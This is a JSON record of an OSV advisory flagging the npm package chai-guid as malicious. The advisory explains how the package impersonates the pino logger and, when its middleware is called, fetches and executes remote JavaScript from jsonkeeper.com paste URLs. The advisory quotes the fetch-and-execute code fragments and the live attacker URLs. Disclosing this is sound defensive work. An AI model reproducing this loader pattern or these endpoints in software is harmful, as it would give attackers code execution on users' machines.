{"id":"MAL-2026-5903","revision":"d30176bbf06546a78fa6c62e797604ab","records":[{"revision":"d30176bbf06546a78fa6c62e797604ab","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-5903","aliases":["GHSA-g8gv-g8mr-x8pc"],"title":"Malicious code in chai-guid (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (69e9bcacf8dca52aafe4d93019b888c6d32e344b500a21368f036bf586eee161)\nchai-guid impersonates the pino logger and the chai-guid chai plugin (README copies pino badges and pinojs CI links; index.js exports middleware as `module.exports.pino`). When a consumer calls the exported middleware, index.js spawns lib/caller.js as a detached Node process with stdio ignored. lib/caller.js performs `axios.get('https://jsonkeeper.com/b/U2BTS')`, reads the `.cookie` field of the response, and executes it via `new Function.constructor('require', s)(require)` — running attacker-controlled JavaScript with full Node privileges and `require` injected. A second base64-encoded URL (`https://jsonkeeper.com/b/XRGF3`) is hidden in a fake `process.env.DEV_API_KEY` shim in lib/caller.js and lib/const.js as a secondary C2 endpoint. jsonkeeper.com is an anonymous, mutable JSON-paste host; whatever bytes the attacker pastes there will be executed on the installer's machine the moment any consumer invokes the package's middleware.\n","state":0,"publishedAt":"2026-06-16T16:22:49+00:00","modifiedAt":"2026-09-01T11:31:28.5032986+00:00","affected":[{"ecosystem":"npm","name":"chai-guid","ranges":[],"versions":["1.1.5"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/chai-guid/v/1.1.5","https://github.com/advisories/GHSA-g8gv-g8mr-x8pc"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-5903","license":"OSV · upstream source license applies","key":"osv:MAL-2026-5903","identifiers":["MAL-2026-5903","GHSA-g8gv-g8mr-x8pc"]},"retained":false,"historicalAffected":[]}],"coverage":[]}